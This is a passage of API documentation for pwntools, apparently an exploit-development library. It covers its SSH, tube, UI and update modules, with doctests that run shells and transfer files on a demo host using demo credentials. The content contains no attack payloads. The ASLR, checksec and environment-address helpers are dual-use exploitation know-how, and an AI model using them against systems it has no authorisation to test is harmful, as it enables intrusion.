- **timeout** – Timeout, in seconds
- **level** – Log level
- **cache** – Cache downloaded files (by hash/size/timestamp)
- **ssh_agent** – If True, enable usage of keys via ssh-agent

NOTE: The `proxy_command` and `proxy_sock` arguments is only available if a fairly new version of paramiko is used.

checksec ()

Prints a helpful message about the remote system.

Parameters **banner** (*bool*) – Whether to print the path to the ELF binary.

close()

Close the connection.

connect_remote (*host, port, timeout = Timeout.default*) → *ssh_connector*

Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a `pwntools.tubes.ssh.ssh_connector` object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s = ssh(host='example.pwnme',
...        user='travis',
...        password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

connected()

Returns True if we are connected.

Example

```
>>> s = ssh(host='example.pwnme',
...        user='travis',
...        password='demopass')
>>> s.connected()
True
>>> s.close()
>>> s.connected()
False
```

download (*file_or_directory, local=None*)

Download a file or directory from the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **local** (*str*) – Local path to store the data. By default, uses the current directory.

download_data (*remote*)

Downloads a file from the remote server and returns it as a string.

Parameters **remote** (*str*) – The remote filename to download.

Examples

```
>>> with file('/tmp/bar', 'w+') as f:
...     f.write('Hello, world')
>>> s = ssh(host='example.pwnme',
...        user='travis',
```

(continues on next page)

(continued from previous page)

```

...         password='demopass',
...         cache=False)
>>> s.download_data('/tmp/bar')
'Hello, world'
>>> s._sftp = None
>>> s._tried_sftp = True
>>> s.download_data('/tmp/bar')
'Hello, world'

```

download_dir (*remote=None, local=None*)

Recursively downloads a directory from the remote server

Parameters

- **local** – Local directory
- **remote** – Remote directory

download_file (*remote, local=None*)

Downloads a file from the remote server.

The file is cached in /tmp/pwntools-ssh-cache using a hash of the file, so calling the function twice has little overhead.

Parameters

- **remote** (*str*) – The remote filename to download
- **local** (*str*) – The local filename to save it to. Default is to infer it from the remote filename.

get (*file_or_directory, local=None*)

download(file_or_directory, local=None)

Download a file or directory from the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **local** (*str*) – Local path to store the data. By default, uses the current directory.

getenv (*variable, **kwargs*)

Retrieve the address of an environment variable on the remote system.

Note: The exact address will differ based on what other environment variables are set, as well as `argv[0]`. In order to ensure that the path is *exactly* the same, it is recommended to invoke the process with `argv=[]`.

interactive (*shell=None*)

Create an interactive session.

This is a simple wrapper for creating a new `pwnlib.tubes.ssh.ssh_channel` object and calling `pwnlib.tubes.ssh.ssh_channel.interactive()` on it.

libs (*remote, directory=None*)

Downloads the libraries referred to by a file.

This is done by running `ldd` on the remote server, parsing the output and downloading the relevant files.

The `directory` argument specifies where to download the files. This defaults to `./$HOSTNAME` where `$HOSTNAME` is the hostname of the remote server.

listen (*port=0, bind_address="", timeout=pwnlib.timeout.Timeout.default*)

listen_remote(*port = 0, bind_address = "", timeout = Timeout.default*) -> ssh_connector

Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_listener` object.

Examples

```
>>> from pwn import *
>>> s = ssh(host='example.pwnme',
...        user='travis',
...        password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

listen_remote (*port = 0, bind_address = "", timeout = Timeout.default*) → ssh_connector

Listens remotely through an SSH connection. This is equivalent to using the `-R` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_listener` object.

Examples

```
>>> from pwn import *
>>> s = ssh(host='example.pwnme',
...        user='travis',
...        password='demopass')
>>> l = s.listen_remote()
>>> a = remote(s.host, l.port)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

process (*argv=None, executable=None, tty=True, cwd=None, env=None, timeout=pwnlib.timeout.Timeout.default, run=True, stdin=0, stdout=1, stderr=2, pre_exec_fn=None, preexec_args=[], raw=True, aslr=None, setuid=None, shell=False*)

Executes a process on the remote server, in the same fashion as `pwnlib.tubes.process.process`.

To achieve this, a Python script is created to call `os.execve` with the appropriate arguments.

As an added bonus, the `ssh_channel` object returned has a `pid` property for the process pid.

Parameters

- **argv** (*list*) – List of arguments to pass into the process
- **executable** (*str*) – Path to the executable to run. If `None`, `argv[0]` is used.
- **tty** (*bool*) – Request a `tty` from the server. This usually fixes buffering problems by causing `libc` to write data immediately rather than buffering it. However, this disables interpretation of control codes (e.g. `Ctrl+C`) and breaks `.shutdown`.

- `cwd` (*str*) – Working directory. If `None`, uses the working directory specified on `cwd` or set via `set_working_directory()`.
- `env` (*dict*) – Environment variables to set in the child. If `None`, inherits the default environment.
- `timeout` (*int*) – Timeout to set on the *tube* created to interact with the process.
- `run` (*bool*) – Set to `True` to run the program (default). If `False`, returns the path to an executable Python script on the remote server which, when executed, will do it.
- `stdin` (*int*, *str*) – If an integer, replace `stdin` with the numbered file descriptor. If a string, open a file with the specified path and replace `stdin` with its file descriptor. May also be one of `sys.stdin`, `sys.stdout`, `sys.stderr`. If `None`, the file descriptor is closed.
- `stdout` (*int*, *str*) – See `stdin`.
- `stderr` (*int*, *str*) – See `stdin`.
- `preexec_fn` (*callable*) – Function which is executed on the remote side before `execve()`. This **MUST** be a self-contained function – it must perform all of its own imports, and cannot refer to variables outside its scope.
- `preexec_args` (*object*) – Argument passed to `preexec_fn`. This **MUST** only consist of native Python objects.
- `raw` (*bool*) – If `True`, disable TTY control code interpretation.
- `aslr` (*bool*) – See `pwnlib.tubes.process.process` for more information.
- `setuid` (*bool*) – See `pwnlib.tubes.process.process` for more information.
- `shell` (*bool*) – Pass the command-line arguments to the shell.

Returns A new SSH channel, or a path to a script if `run=False`.

Notes

Requires Python on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> sh = s.process('/bin/sh', env={'PS1':''})
>>> sh.sendline('echo Hello; exit')
>>> sh.recvall()
'Hello\n'
>>> s.process(['/bin/echo', '\xff']).recvall()
'\xff\n'
>>> s.process(['/readlink', '/proc/self/exe']).recvall()
'/bin/readlink\n'
>>> s.process(['/LOLOLOL', '/proc/self/exe'], executable='readlink').recvall()
'/bin/readlink\n'
>>> s.process(['/LOLOLOL\x00', '/proc/self/cmdline'], executable='cat').
↪recvall()
'LOLOLOL\x00/proc/self/cmdline\x00'
```

(continues on next page)

(continued from previous page)

```
>>> sh = s.process(executable='/bin/sh')
>>> sh.pid in pidof('sh')
True
>>> s.process(['pwd'], cwd='/tmp').recvall()
/tmp\n
>>> p = s.process(['python','-c','import os; print os.read(2, 1024)'],
↳stderr=0)
>>> p.send('hello')
>>> p.recv()
'hello\n'
>>> s.process(['/bin/echo', 'hello']).recvall()
'hello\n'
>>> s.process(['/bin/echo', 'hello'], stdout='/dev/null').recvall()
''
>>> s.process(['/usr/bin/env'], env={}).recvall()
''
>>> s.process('/usr/bin/env', env={'A':'B'}).recvall()
'A=B\n'
```

```
>>> s.process('false', preexec_fn=1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn must be a function
```

```
>>> s.process('false', preexec_fn=lambda: 1234)
Traceback (most recent call last):
...
PwnlibException: preexec_fn cannot be a lambda
```

```
>>> def uses_globals():
...     foo = bar
>>> print s.process('false', preexec_fn=uses_globals).recvall().strip()
Traceback (most recent call last):
...
NameError: global name 'bar' is not defined
```

```
>>> s.process('echo hello', shell=True).recvall()
'hello\n'
```

put (*file_or_directory*, *remote=None*)
 upload(*file_or_directory*, *remote=None*)

Upload a file or directory to the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **remote** (*str*) – Local path to store the data. By default, uses the working directory.

read (*path*)

Wrapper around `download_data` to match `pwnlib.util.misc.read()`

remote (*host*, *port*, *timeout=pwnlib.timeout.Timeout.default*)

`connect_remote(host, port, timeout = Timeout.default) -> ssh_connector`

Connects to a host through an SSH connection. This is equivalent to using the `-L` flag on `ssh`.

Returns a `pwnlib.tubes.ssh.ssh_connector` object.

Examples

```
>>> from pwn import *
>>> l = listen()
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> a = s.connect_remote(s.host, l.lport)
>>> b = l.wait_for_connection()
>>> a.sendline('Hello')
>>> print repr(b.recvline())
'Hello\n'
```

run (*process*, *tty=True*, *wd=None*, *env=None*, *timeout=None*, *raw=True*)
 Backward compatibility. Use `system()`

run_to_end (*process*, *tty = False*, *timeout = Timeout.default*, *env = None*) → str
 Run a command on the remote server and return a tuple with (data, exit_status). If *tty* is True, then the command is run inside a TTY on the remote server.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> print s.run_to_end('echo Hello; exit 17')
('Hello\n', 17)
```

set_working_directory (*wd=None*, *symlink=False*)

Sets the working directory in which future commands will be run (via `ssh.run`) and to which files will be uploaded/downloaded from if no path is provided

Note: This uses `mktmp -d` under the covers, sets permissions on the directory to `0700`. This means that `setuid` binaries will **not** be able to access files created in this directory.

In order to work around this, we also `chmod +x` the directory.

Parameters

- **wd** (*string*) – Working directory. Default is to auto-generate a directory based on the result of running `'mktmp -d'` on the remote machine.
- **symlink** (*bool, str*) – Create symlinks in the new directory.

The default value, `False`, implies that no symlinks should be created.

A string value is treated as a path that should be symlinked. It is passed directly to the shell on the remote end for expansion, so wildcards work.

Any other value is treated as a boolean, where `True` indicates that all files in the “old” working directory should be symlinked.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> cwd = s.set_working_directory()
>>> s.ls()
''
>>> s.pwd() == cwd
True
```

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> homedir = s.pwd()
>>> _=s.touch('foo')
```

```
>>> _=s.set_working_directory()
>>> assert s.ls() == ''
```

```
>>> _=s.set_working_directory(homedir)
>>> assert 'foo' in s.ls().split()
```

```
>>> _=s.set_working_directory(symlink=True)
>>> assert 'foo' in s.ls().split()
>>> assert homedir != s.pwd()
```

```
>>> symlink=os.path.join(homedir, '*')
>>> _=s.set_working_directory(symlink=symlink)
>>> assert 'foo' in s.ls().split()
>>> assert homedir != s.pwd()
```

shell (*shell = None, tty = True, timeout = Timeout.default*) → *ssh_channel*

Open a new channel with a shell inside.

Parameters

- **shell** (*str*) – Path to the shell program to run. If *None*, uses the default shell for the logged in user.
- **tty** (*bool*) – If *True*, then a TTY is requested on the remote server.

Returns Return a *pwntools.tubes.ssh.ssh_channel* object.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> sh = s.shell('/bin/sh')
>>> sh.sendline('echo Hello; exit')
>>> print 'Hello' in sh.recvall()
True
```

system (*process*, *tty = True*, *wd = None*, *env = None*, *timeout = Timeout.default*, *raw = True*) → *ssh_channel*

Open a new channel with a specific process inside. If *tty* is True, then a TTY is requested on the remote server.

If *raw* is True, terminal control codes are ignored and input is not echoed back.

Return a `pwnlib.tubes.ssh.ssh_channel` object.

Examples

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> py = s.run('python -i')
>>> _ = py.recvuntil('>>> ')
>>> py.sendline('print 2+2')
>>> py.sendline('exit')
>>> print repr(py.recvline())
'4\n'
```

unlink (*file*)

Delete the file on the remote host

Parameters *file* (*str*) – Path to the file

upload (*file_or_directory*, *remote=None*)

Upload a file or directory to the remote host.

Parameters

- **file_or_directory** (*str*) – Path to the file or directory to download.
- **remote** (*str*) – Local path to store the data. By default, uses the working directory.

upload_data (*data*, *remote*)

Uploads some data into a file on the remote server.

Parameters

- **data** (*str*) – The data to upload.
- **remote** (*str*) – The filename to upload it to.

Example

```
>>> s = ssh(host='example.pwnme',
...         user='travis',
...         password='demopass')
>>> s.upload_data('Hello, world', '/tmp/upload_foo')
>>> print file('/tmp/upload_foo').read()
Hello, world
>>> s._sftp = False
>>> s._tried_sftp = True
>>> s.upload_data('Hello, world', '/tmp/upload_bar')
>>> print file('/tmp/upload_bar').read()
Hello, world
```

upload_dir (*local*, *remote=None*)

Recursively uploads a directory onto the remote server

Parameters

- **local** – Local directory
- **remote** – Remote directory

upload_file (*filename*, *remote=None*)

Uploads a file to the remote server. Returns the remote filename.

Arguments: *filename*(str): The local filename to download *remote*(str): The remote filename to save it to.
Default is to infer it from the local filename.

which (*program*) → str

Minor modification to just directly invoking `which` on the remote system which adds the current working directory to the end of `$PATH`.

write (*path*, *data*)

Wrapper around `upload_data` to match `pwnlib.util.misc.write()`

arch

CPU Architecture of the remote machine.

Type str

aslr

Whether ASLR is enabled on the system.

Example

```
>>> s = ssh("travis", "example.pwnme")
>>> s.aslr
True
```

Type bool

aslr_ulimit

Whether the entropy of 32-bit processes can be reduced with ulimit.

Type bool

bits

Pointer size of the remote machine.

Type str

cache = True

Enable caching of SSH downloads (bool)

client = None

Paramiko SSHClient which backs this object

cwd = None

Working directory (str)

distro

Linux distribution name and release.

Type tuple

host = None

Remote host name (`str`)

os

Operating System of the remote machine.

Type `str`

pid = None

PID of the remote `sshd` process servicing this connection.

port = None

Remote port (`int`)

sftp

Paramiko SFTPClient object which is used for file transfers. Set to `None` to disable `sftp`.

version

Kernel version of the remote machine.

Type `tuple`

class `pwntools.tubes.ssh.ssh_channel`

Bases: `pwntools.tubes.sock.sock`

interactive (`prompt = pwntools.term.text.bold_red('$') + ' '`)

If not in TTY-mode, this does exactly the same as `meth:pwntools.tubes.tube.tube.interactive`, otherwise it does mostly the same.

An SSH connection in TTY-mode will typically supply its own prompt, thus the `prompt` argument is ignored in this case. We also have a few SSH-specific hacks that will ideally be removed once the `pwntools.term` is more mature.

kill()

Kills the process.

poll() → `int`

Poll the exit code of the process. Will return `None`, if the process has not yet finished and the exit code otherwise.

class `pwntools.tubes.ssh.ssh_connector`

Bases: `pwntools.tubes.sock.sock`

class `pwntools.tubes.ssh.ssh_listener`

Bases: `pwntools.tubes.sock.sock`

2.27.2 pwntools.tubes.tube — Common Functionality

class `pwntools.tubes.tube.tube`

Container of all the tube functions common to sockets, TTYs and SSH connections.

can_recv (`timeout = 0`) → `bool`

Returns `True`, if there is data available within `timeout` seconds.

Examples

```
>>> import time
>>> t = tube()
>>> t.can_recv_raw = lambda *a: False
```

(continues on next page)

(continued from previous page)

```
>>> t.can_recv()
False
>>> _=t.unrecv('data')
>>> t.can_recv()
True
>>> _=t.recv()
>>> t.can_recv()
False
```

clean (*timeout = 0.05*)

Removes all the buffered data from a tube by calling `pwnlib.tubes.tube.tube.recv()` with a low timeout until it fails.

If `timeout` is zero, only cached data will be cleared.

Note: If `timeout` is set to zero, the underlying network is not actually polled; only the internal buffer is cleared.

Returns All data received

Examples

```
>>> t = tube()
>>> t.unrecv('clean me up')
>>> t.clean(0)
'clean me up'
>>> len(t.buffer)
0
```

clean_and_log (*timeout = 0.05*)

Works exactly as `pwnlib.tubes.tube.tube.clean()`, but logs received data with `pwnlib.self.info()`.

Returns All data received

Examples

```
>>> def recv(n, data=['', 'hooray_data']):
...     while data: return data.pop()
>>> t = tube()
>>> t.recv_raw = recv
>>> t.connected_raw = lambda d: True
>>> t.fileno = lambda: 1234
>>> with context.local(log_level='info'):
...     data = t.clean_and_log()
[DEBUG] Received 0xb bytes:
      'hooray_data'
>>> data
'hooray_data'
>>> context.clear()
```

close ()

Closes the tube.

connect_both (*other*)

Connects the both ends of this tube object with another tube object.

connect_input (*other*)

Connects the input of this tube to the output of another tube object.

Examples

```
>>> def p(x): print x
>>> def recvone(n, data=['data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
>>> import time
>>> _(b.connect_input(a), time.sleep(0.1))
data
```

connect_output (*other*)

Connects the output of this tube to the input of another tube object.

Examples

```
>>> def p(x): print x
>>> def recvone(n, data=['data']):
...     while data: return data.pop()
...     raise EOFError
>>> a = tube()
>>> b = tube()
>>> a.recv_raw = recvone
>>> b.send_raw = p
>>> a.connected_raw = lambda d: True
>>> b.connected_raw = lambda d: True
>>> a.shutdown      = lambda d: True
>>> b.shutdown      = lambda d: True
>>> _(a.connect_output(b), time.sleep(0.1))
data
```

connected (*direction* = 'any') → bool

Returns True if the tube is connected in the specified direction.

Parameters *direction* (*str*) – Can be the string 'any', 'in', 'read', 'recv', 'out', 'write', 'send'.

Doctest:

```
>>> def p(x): print x
>>> t = tube()
>>> t.connected_raw = p
```

(continues on next page)

(continued from previous page)

```

>>> _=map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write', 'send'))
any
recv
recv
recv
send
send
send
>>> t.connected('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['any', 'in', 'out', 'read', 'recv', 'send',
↪ 'write']"

```

fileno() → int

Returns the file number used for reading.

interactive (*prompt = pwnlib.term.text.bold_red('\$') + ' '*)Does simultaneous reading and writing to the tube. In principle this just connects the tube to standard in and standard out, but in practice this is much more usable, since we are using `pwnlib.term` to print a floating prompt.Thus it only works in while in `pwnlib.term.term_mode`.**recv** (*numb = 4096, timeout = default*) → strReceives up to *numb* bytes of data from the tube, and returns as soon as any quantity of data is available.If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string (`' '`) is returned.**Raises** `exceptions.EOFError` – The connection is closed**Returns** A string containing bytes received from the socket, or `' '` if a timeout occurred while waiting.

Examples

```

>>> t = tube()
>>> # Fake a data source
>>> t.recv_raw = lambda n: 'Hello, world'
>>> t.recv() == 'Hello, world'
True
>>> t.unrecv('Woohoo')
>>> t.recv() == 'Woohoo'
True
>>> with context.local(log_level='debug'):
...     _ = t.recv()
[...] Received 0xc bytes:
'Hello, world'

```

recvall() → str

Receives data until EOF is reached.

recvline (*keepsends = True*) → str

Receive a single line from the tube.

A “line” is any sequence of bytes terminated by the byte sequence set in *newline*, which defaults to `'\n'`.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`' '`) is returned.

Parameters

- **keepsends** (*bool*) – Keep the line ending (True).
- **timeout** (*int*) – Timeout

Returns All bytes received over the tube until the first newline `'\n'` is received. Optionally retains the ending.

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\r\nBaz\n'
>>> t.recvline()
'Foo\n'
>>> t.recvline()
'Bar\r\n'
>>> t.recvline(keepsends = False)
'Baz'
>>> t.newline = '\r\n'
>>> t.recvline(keepsends = False)
'Foo\nBar'
```

recvline_contains (*items, keepsends=False, timeout=pwntools.timeout.Timeout.default*)

Receive lines until one line is found which contains at least one of *items*.

Parameters

- **items** (*str, tuple*) – List of strings to search for, or a single string.
- **keepsends** (*bool*) – Return lines with newlines if True
- **timeout** (*int*) – Timeout, in seconds

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_contains('r')
'World'
>>> f = lambda n: "cat dog bird\napple pear orange\nbicycle car train\n"
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains('pear')
'apple pear orange'
>>> t = tube()
>>> t.recv_raw = f
>>> t.recvline_contains(('car', 'train'))
'bicycle car train'
```

recvline_endswith (*delims, keepsends = False, timeout = default*) → *str*

Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (`' '`) is returned.

See `recvline_startswith()` for more details.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\nKaboodle\n'
>>> t.recvline_endswith('r')
'Bar'
>>> t.recvline_endswith(tuple('abcde'), True)
'Kaboodle\n'
>>> t.recvline_endswith('oodle')
'Kaboodle'
```

recvline_pred (*pred*, *keepends* = *False*) → str

Receive data until `pred(line)` returns a truthy value. Drop all other data.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (' ') is returned.

Parameters *pred* (*callable*) – Function to call. Returns the line for which this function returns True.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Foo\nBar\nBaz\n"
>>> t.recvline_pred(lambda line: line == "Bar\n")
'Bar'
>>> t.recvline_pred(lambda line: line == "Bar\n", keepends=True)
'Bar\n'
>>> t.recvline_pred(lambda line: line == 'Nope!', timeout=0.1)
''
```

recvline_regex (*regex*, *exact*=*False*, *keepends*=*False*, *timeout*=*pwntools.timeout.Timeout.default*)

`recvregex(regex, exact = False, keepends = False, timeout = default) -> str`

Wrapper around `recvline_pred()`, which will return when a regex matches a line.

By default `re.RegexObject.search()` is used, but if *exact* is set to True, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (' ') is returned.

recvline_startswith (*delims*, *keepends* = *False*, *timeout* = *default*) → str

Keep receiving lines until one is found that starts with one of *delims*. Returns the last line received.

If the request is not satisfied before `timeout` seconds pass, all data is buffered and an empty string (' ') is returned.

Parameters

- **delims** (*str*, *tuple*) – List of strings to search for, or string of single characters
- **keepends** (*bool*) – Return lines with newlines if True
- **timeout** (*int*) – Timeout, in seconds

Returns The first line received which starts with a delimiter in *delims*.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello\nWorld\nXylophone\n"
>>> t.recvline_startswith(tuple('WXYZ'))
'World'
>>> t.recvline_startswith(tuple('WXYZ'), True)
'Xylophone\n'
>>> t.recvline_startswith('Wo')
'World'
```

recvlines (*numlines*, *keepends* = *False*, *timeout* = *default*) → str list

Receive up to *numlines* lines.

A “line” is any sequence of bytes terminated by the byte sequence set by *newline*, which defaults to `'\n'`.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string (`' '`) is returned.

Parameters

- **numlines** (*int*) – Maximum number of lines to receive
- **keepends** (*bool*) – Keep newlines at the end of each line (`False`).
- **timeout** (*int*) – Maximum timeout

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `' '` if a timeout occurred while waiting.

Examples

```
>>> t = tube()
>>> t.recv_raw = lambda n: '\n'
>>> t.recvlines(3)
[' ', ' ', ' ']
>>> t.recv_raw = lambda n: 'Foo\nBar\nBaz\n'
>>> t.recvlines(3)
['Foo', 'Bar', 'Baz']
>>> t.recvlines(3, True)
['Foo\n', 'Bar\n', 'Baz\n']
```

recvn (*numb*, *timeout* = *default*) → str

Receives exactly *n* bytes.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string (`' '`) is returned.

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or `' '` if a timeout occurred while waiting.

Examples

```

>>> t = tube()
>>> data = 'hello world'
>>> t.recv_raw = lambda *a: data
>>> t.recvn(len(data)) == data
True
>>> t.recvn(len(data)+1) == data + data[0]
True
>>> t.recv_raw = lambda *a: None
>>> # The remaining data is buffered
>>> t.recv() == data[1:]
True
>>> t.recv_raw = lambda *a: time.sleep(0.01) or 'a'
>>> t.recvn(10, timeout=0.05)
''
>>> t.recvn(10, timeout=0.06)
'aaaaaa...'

```

recvpred (*pred*, *timeout = default*) → str

Receives one byte at a time from the tube, until *pred* (bytes) evaluates to True.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string ('') is returned.

Parameters

- **pred** (*callable*) – Function to call, with the currently-accumulated data.
- **timeout** (*int*) – Timeout for the operation

Raises `exceptions.EOFError` – The connection is closed

Returns A string containing bytes received from the socket, or '' if a timeout occurred while waiting.

recvregex (*regex*, *exact = False*, *timeout = default*) → str

Wrapper around `recvpred()`, which will return when a regex matches the string in the buffer.

By default `re.RegexObject.search()` is used, but if *exact* is set to True, then `re.RegexObject.match()` will be used instead.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string ('') is returned.

recvrepeat (*timeout = default*) → str

Receives data until a timeout or EOF is reached.

Examples

```

>>> data = [
... 'd',
... '', # simulate timeout
... 'c',
... 'b',
... 'a',
... ]
>>> def delayrecv(n, data=data):

```

(continues on next page)

(continued from previous page)

```

...     return data.pop()
>>> t = tube()
>>> t.recv_raw = delayrecv
>>> t.recvrepeat(0.2)
'abc'
>>> t.recv()
'd'

```

recvuntil (*delims*, *timeout = default*) → str

Receive data until one of *delims* is encountered.

If the request is not satisfied before *timeout* seconds pass, all data is buffered and an empty string (' ') is returned.

Parameters

- **delims** (*str*, *tuple*) – String of delimiters characters, or list of delimiter strings.
- **drop** (*bool*) – Drop the ending. If True it is removed from the end of the return value.

Raises `exceptions.EOFError` – The connection closed before the request could be satisfied

Returns A string containing bytes received from the socket, or ' ' if a timeout occurred while waiting.

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: "Hello World!"
>>> t.recvuntil(' ')
'Hello '
>>> _=t.clean(0)
>>> # Matches on 'o' in 'Hello'
>>> t.recvuntil(tuple(' Wor'))
'Hello'
>>> _=t.clean(0)
>>> # Matches expressly full string
>>> t.recvuntil(' Wor')
'Hello Wor'
>>> _=t.clean(0)
>>> # Matches on full string, drops match
>>> t.recvuntil(' Wor', drop=True)
'Hello'

```

```

>>> # Try with regex special characters
>>> t = tube()
>>> t.recv_raw = lambda n: "Hello|World"
>>> t.recvuntil('|', drop=True)
'Hello'

```

send (*data*)

Sends data.

If log level `DEBUG` is enabled, also prints out the data received.

If it is not possible to send anymore because of a closed connection, it raises `exceptions.EOFError`

Examples

```
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.send('hello')
'hello'
```

sendafter (*delim, data, timeout = default*) → str

A combination of `recvuntil(delim, timeout)` and `send(data)`.

sendline (*data*)

Shorthand for `t.send(data + t.newline)`.

Examples

```
>>> def p(x): print repr(x)
>>> t = tube()
>>> t.send_raw = p
>>> t.sendline('hello')
'hello\n'
>>> t.newline = '\r\n'
>>> t.sendline('hello')
'hello\r\n'
```

sendlineafter (*delim, data, timeout = default*) → str

A combination of `recvuntil(delim, timeout)` and `sendline(data)`.

sendlinethen (*delim, data, timeout = default*) → str

A combination of `sendline(data)` and `recvuntil(delim, timeout)`.

sendthen (*delim, data, timeout = default*) → str

A combination of `send(data)` and `recvuntil(delim, timeout)`.

settimeout (*timeout*)

Set the timeout for receiving operations. If the string “default” is given, then `context.timeout` will be used. If `None` is given, then there will be no timeout.

Examples

```
>>> t = tube()
>>> t.settimeout_raw = lambda t: None
>>> t.settimeout(3)
>>> t.timeout == 3
True
```

shutdown (*direction = "send"*)

Closes the tube for further reading or writing depending on *direction*.

Parameters *direction* (*str*) – Which direction to close; “in”, “read” or “recv” closes the tube in the ingoing direction, “out”, “write” or “send” closes it in the outgoing direction.

Returns `None`

Examples

```

>>> def p(x): print x
>>> t = tube()
>>> t.shutdown_raw = p
>>> _=map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send'))
recv
recv
recv
send
send
send
>>> t.shutdown('bad_value')
Traceback (most recent call last):
...
KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']
↪"

```

spawn_process (*args, **kwargs)

Spawns a new process having this tube as stdin, stdout and stderr.

Takes the same arguments as `subprocess.Popen`.

stream ()

Receive data until the tube exits, and print it to stdout.

Similar to `interactive()`, except that no input is sent.

Similar to `print tube.recvall()` except that data is printed as it is received, rather than after all data is received.

Parameters `line_mode` (*bool*) – Whether to receive line-by-line or raw data.

Returns All data printed.

timeout_change ()

Informs the raw layer of the tube that the timeout has changed.

Should not be called directly.

Inherited from `Timeout`.

unrecv (data)

Puts the specified data back at the beginning of the receive buffer.

Examples

```

>>> t = tube()
>>> t.recv_raw = lambda n: 'hello'
>>> t.recv()
'hello'
>>> t.recv()
'hello'
>>> t.unrecv('world')
>>> t.recv()
'world'
>>> t.recv()
'hello'

```

wait()
Waits until the tube is closed.

wait_for_close()
Waits until the tube is closed.

newline = '\n'
Delimiter to use for `sendline()`, `recvline()`, and related functions.

2.28 pwnlib.ui — Functions for user interaction

`pwnlib.ui.more(text)`
Shows text like the command line tool `more`.
It not in `term_mode`, just prints the data to the screen.

Parameters `text (str)` – The text to show.

Returns `None`

`pwnlib.ui.options(prompt, opts, default=None)`
Presents the user with a prompt (typically in the form of a question) and a number of options.

Parameters

- **prompt (str)** – The prompt to show
- **opts (list)** – The options to show to the user
- **default** – The default option to choose

Returns The users choice in the form of an integer.

`pwnlib.ui.pause(n=None)`
Waits for either user input or a specific number of seconds.

`pwnlib.ui.yesno(prompt, default=None)`
Presents the user with prompt (typically in the form of question) which the user must answer yes or no.

Parameters

- **prompt (str)** – The prompt to show
- **default** – The default option; `True` means “yes”

Returns `True` if the answer was “yes”, `False` if “no”

2.29 pwnlib.update — Updating Pwntools

Pwntools Update

In order to ensure that Pwntools users always have the latest and greatest version, Pwntools automatically checks for updates.

Since this update check takes a moment, it is only performed once every week. It can be permanently disabled via:

```
$ echo never > ~/.pwntools-cache/update
```

`pwnlib.update.available_on_pypi(prerelease=True)`
Return `True` if an update is available on PyPI.

```
>>> available_on_pypi()
<Version('...')>
>>> available_on_pypi(prerelease=False).is_prerelease
False
```

`pwnlib.update.cache_file()`

Returns the path of the file used to cache update data, and ensures that it exists.

`pwnlib.update.last_check()`

Return the date of the last check

`pwnlib.update.perform_check(prerelease=True)`

Perform the update check, and report to the user.

Parameters `prerelease` (*bool*) – Whether or not to include pre-release versions.

Returns A list of arguments to the update command.

```
>>> from packaging.version import Version
>>> pwnlib.update.current_version = Version("999.0.0")
>>> print perform_check()
None
>>> pwnlib.update.current_version = Version("0.0.0")
>>> perform_check()
['pip', 'install', '-U', ...]
```

```
>>> def bail(*a): raise Exception()
>>> pypi = pwnlib.update.available_on_pypi
```

```
>>> perform_check(prerelease=False)
